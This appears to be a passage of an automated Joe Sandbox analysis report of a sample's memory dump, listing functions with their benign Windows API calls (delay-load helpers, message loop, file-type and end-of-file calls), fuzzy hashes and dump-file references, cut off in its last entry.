                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: Gdip$AllocBitmapCreateFromStream
                                                                        • String ID:
                                                                        • API String ID: 1915507550-0
                                                                        • Opcode ID: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
                                                                        • Instruction ID: d140f7e6dc37b4f9508814b3d112bf0cb8f79f1596ab4d731509091219772f30
                                                                        • Opcode Fuzzy Hash: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
                                                                        • Instruction Fuzzy Hash: 59D0A7B023020DB6DF026F21CD0297EF999FB003C0F008031BE45C5151EAB1D9309652
                                                                        Function 002FDD6D Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • SendDlgItemMessageW.USER32(0000006A,00000402,00000000,00000000,002F1B3E), ref: 002FDD92
                                                                          • Part of subcall function 002FB568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 002FB579
                                                                          • Part of subcall function 002FB568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 002FB58A
                                                                          • Part of subcall function 002FB568: IsDialogMessageW.USER32(000103DA,?), ref: 002FB59E
                                                                          • Part of subcall function 002FB568: TranslateMessage.USER32(?), ref: 002FB5AC
                                                                          • Part of subcall function 002FB568: DispatchMessageW.USER32(?), ref: 002FB5B6
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: Message$DialogDispatchItemPeekSendTranslate
                                                                        • String ID:
                                                                        • API String ID: 897784432-0
                                                                        • Opcode ID: c4a88de46ec1cfcaf1dffa8cc68748338ba8fba18cdb2753c6de45448e28ef2c
                                                                        • Instruction ID: d7fe7601192243b6c1ab3c0b9a1784eb921b99fa04fcdabf5c4daa28aa6ce45d
                                                                        • Opcode Fuzzy Hash: c4a88de46ec1cfcaf1dffa8cc68748338ba8fba18cdb2753c6de45448e28ef2c
                                                                        • Instruction Fuzzy Hash: 23D09E31154300BBD6123B51CD06F1ABAA6AB98B04F404554B384740B1CA72AD31DF11
                                                                        Function 002FE5BB Relevance: 1.5, APIs: 1, Instructions: 13COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • DloadProtectSection.DELAYIMP ref: 002FE5E3
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: DloadProtectSection
                                                                        • String ID:
                                                                        • API String ID: 2203082970-0
                                                                        • Opcode ID: 1e610c5a8ddf19f6a21268f6eac146017f59777609efa4e1bc86581323318f74
                                                                        • Instruction ID: 31dc4043db8adbae8422b929cf64f2b6554034d3d75cc359fc9f250f76dfc9c6
                                                                        • Opcode Fuzzy Hash: 1e610c5a8ddf19f6a21268f6eac146017f59777609efa4e1bc86581323318f74
                                                                        • Instruction Fuzzy Hash: E5D0C9B41F07499ADE23FFA89CC6B74B698B3257C5FD20131F345DA4B1DAA458E0CA05
                                                                        Function 002E98BC Relevance: 1.5, APIs: 1, Instructions: 12COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetFileType.KERNELBASE(000000FF,002E97BE), ref: 002E98C8
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: FileType
                                                                        • String ID:
                                                                        • API String ID: 3081899298-0
                                                                        • Opcode ID: 1fbb997bf2bc8fead440a7702c2d05cc737ffc0423fd1b378c673f3a69463a7e
                                                                        • Instruction ID: 120fb02cf91d74cee36b4c85e6fe95b9ff1759a645c6292d7af6a5b7557b0f9f
                                                                        • Opcode Fuzzy Hash: 1fbb997bf2bc8fead440a7702c2d05cc737ffc0423fd1b378c673f3a69463a7e
                                                                        • Instruction Fuzzy Hash: E2C01234450146858E21CE2698440D97311AE933657F48696C029850B1C322CCE7EA02
                                                                        Function 002FEAE7 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FEAF9
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID:
                                                                        • API String ID: 1269201914-0
                                                                        • Opcode ID: 00ba915ab55807f73f8f4d1f3268de60811d2cc925b6c60a1f2f8edb55ac89d5
                                                                        • Instruction ID: d4452a49a6cccc50e604af18494d17e13ea5d48d08c87eb0dc0516b9545fcd1a
                                                                        • Opcode Fuzzy Hash: 00ba915ab55807f73f8f4d1f3268de60811d2cc925b6c60a1f2f8edb55ac89d5
                                                                        • Instruction Fuzzy Hash: 6AB0928A2BA1867C2A0B62401902C768109D180BE0331913AF602880A1D8801C510832
                                                                        Function 002FE423 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE3FC
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID:
                                                                        • API String ID: 1269201914-0
                                                                        • Opcode ID: 89f2d58ee709b5444d056ff3847982742e12ae0d5329382bbcd9fcff82bd6ef5
                                                                        • Instruction ID: becbe0ef287abca4ec4f5e130fa3cdbb52803e484fe91a74a4742aaa946cae7a
                                                                        • Opcode Fuzzy Hash: 89f2d58ee709b5444d056ff3847982742e12ae0d5329382bbcd9fcff82bd6ef5
                                                                        • Instruction Fuzzy Hash: E4B012F52B8244BC350FA1041C06C77424DC0C4FA0332923EF906C61A0D8805E600933
                                                                        Function 002FE419 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE3FC
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID:
                                                                        • API String ID: 1269201914-0
                                                                        • Opcode ID: 8384b1f2a2567d926f83854209a516d6fc20fd82e6b0c54185c4823a859d7e55
                                                                        • Instruction ID: e2ca80553d283121ac3d8ed339b2208cb5169ef1b67b89111c412f4b8d988ce4
                                                                        • Opcode Fuzzy Hash: 8384b1f2a2567d926f83854209a516d6fc20fd82e6b0c54185c4823a859d7e55
                                                                        • Instruction Fuzzy Hash: E7B012E52B82547C364FA1041D06CB7824DC4C4BA0332D13EF706C61A0D8801C690933
                                                                        Function 002FE44B Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE3FC
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID:
                                                                        • API String ID: 1269201914-0
                                                                        • Opcode ID: e7c383ba40756d4e86baba41e7406134ee368a14966224c43bef750e2aea2f54
                                                                        • Instruction ID: a6e309b95e05f670977301108b058ab0a26ca47e925ca52cef4bf18a390ea599
                                                                        • Opcode Fuzzy Hash: e7c383ba40756d4e86baba41e7406134ee368a14966224c43bef750e2aea2f54
                                                                        • Instruction Fuzzy Hash: 26B012E52B8244BC354FE1041C06C77428DC4C4BA0332D13EFA06C61A0D8805C640933
                                                                        Function 002FE3EF Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE3FC
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID:
                                                                        • API String ID: 1269201914-0
                                                                        • Opcode ID: cf304e59e79340c07108e221a887d7c41eb8ccd0cd888aadffcecb077b6898fc
                                                                        • Instruction ID: 119dcbc574b5217e8cc22a1baa6d0ecaea5c4adeb17a42f59fd95c7669a3a154
                                                                        • Opcode Fuzzy Hash: cf304e59e79340c07108e221a887d7c41eb8ccd0cd888aadffcecb077b6898fc
                                                                        • Instruction Fuzzy Hash: EAA012E11B42453C340E21001C06C77420DC0C0BA0332503DF511900A05C8008600833
                                                                        Function 002FE43C Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE3FC
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID:
                                                                        • API String ID: 1269201914-0
                                                                        • Opcode ID: a6b37662946373e803634e40285e8900c4e6b43ff5e4f6fdf3e0acff57df103d
                                                                        • Instruction ID: 41f41a9b59b77ad1eb9f18caf7c887bd60fd6b2b4816bfe502e5259850b34f4b
                                                                        • Opcode Fuzzy Hash: a6b37662946373e803634e40285e8900c4e6b43ff5e4f6fdf3e0acff57df103d
                                                                        • Instruction Fuzzy Hash: 39A012E11B82457C340E21001C06C77420DC0C4BE0332543DF502800A0588008600833
                                                                        Function 002FE432 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE3FC
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID:
                                                                        • API String ID: 1269201914-0
                                                                        • Opcode ID: 2fe2f1991f913fbca7a4f2229eddb15211c1cdc4d34bb9e7f8b9521c3485f114
                                                                        • Instruction ID: 41f41a9b59b77ad1eb9f18caf7c887bd60fd6b2b4816bfe502e5259850b34f4b
                                                                        • Opcode Fuzzy Hash: 2fe2f1991f913fbca7a4f2229eddb15211c1cdc4d34bb9e7f8b9521c3485f114
                                                                        • Instruction Fuzzy Hash: 39A012E11B82457C340E21001C06C77420DC0C4BE0332543DF502800A0588008600833
                                                                        Function 002FE40A Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE3FC
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID:
                                                                        • API String ID: 1269201914-0
                                                                        • Opcode ID: 808a758b23f8dc8f08cf90bdfbbe71c8d345cb0801327bdc53556f2fddcbefa2
                                                                        • Instruction ID: 41f41a9b59b77ad1eb9f18caf7c887bd60fd6b2b4816bfe502e5259850b34f4b
                                                                        • Opcode Fuzzy Hash: 808a758b23f8dc8f08cf90bdfbbe71c8d345cb0801327bdc53556f2fddcbefa2
                                                                        • Instruction Fuzzy Hash: 39A012E11B82457C340E21001C06C77420DC0C4BE0332543DF502800A0588008600833
                                                                        Function 002FE414 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE3FC
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID:
                                                                        • API String ID: 1269201914-0
                                                                        • Opcode ID: 75e9a0c2912817e57e76abdcfc955a34562e5b8aab0dabcd5d3504db9a09bfd6
                                                                        • Instruction ID: 41f41a9b59b77ad1eb9f18caf7c887bd60fd6b2b4816bfe502e5259850b34f4b
                                                                        • Opcode Fuzzy Hash: 75e9a0c2912817e57e76abdcfc955a34562e5b8aab0dabcd5d3504db9a09bfd6
                                                                        • Instruction Fuzzy Hash: 39A012E11B82457C340E21001C06C77420DC0C4BE0332543DF502800A0588008600833
                                                                        Function 002FE446 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE3FC
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID:
                                                                        • API String ID: 1269201914-0
                                                                        • Opcode ID: 3d03b5fbb8f6359228f2447de17939164eea54e7453460649d5b94421984d535
                                                                        • Instruction ID: 41f41a9b59b77ad1eb9f18caf7c887bd60fd6b2b4816bfe502e5259850b34f4b
                                                                        • Opcode Fuzzy Hash: 3d03b5fbb8f6359228f2447de17939164eea54e7453460649d5b94421984d535
                                                                        • Instruction Fuzzy Hash: 39A012E11B82457C340E21001C06C77420DC0C4BE0332543DF502800A0588008600833
                                                                        Function 002E9F09 Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • SetEndOfFile.KERNELBASE(?,002E903E,?,?,-00000870,?,-000018B8,00000000,?,-000028B8,?,00000800,-000028B8,?,00000000,?), ref: 002E9F0C
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: File
                                                                        • String ID:
                                                                        • API String ID: 749574446-0
                                                                        • Opcode ID: e6da50ac69526a3872f827484c6793b59ccaca1cdafc84628df0eb7af7a60382
                                                                        • Instruction ID: 1e0cd58dd42fbf0ed132bdc13961727f1c9f95e5aa04da494a73230d3892e0ed
                                                                        • Opcode Fuzzy Hash: e6da50ac69526a3872f827484c6793b59ccaca1cdafc84628df0eb7af7a60382
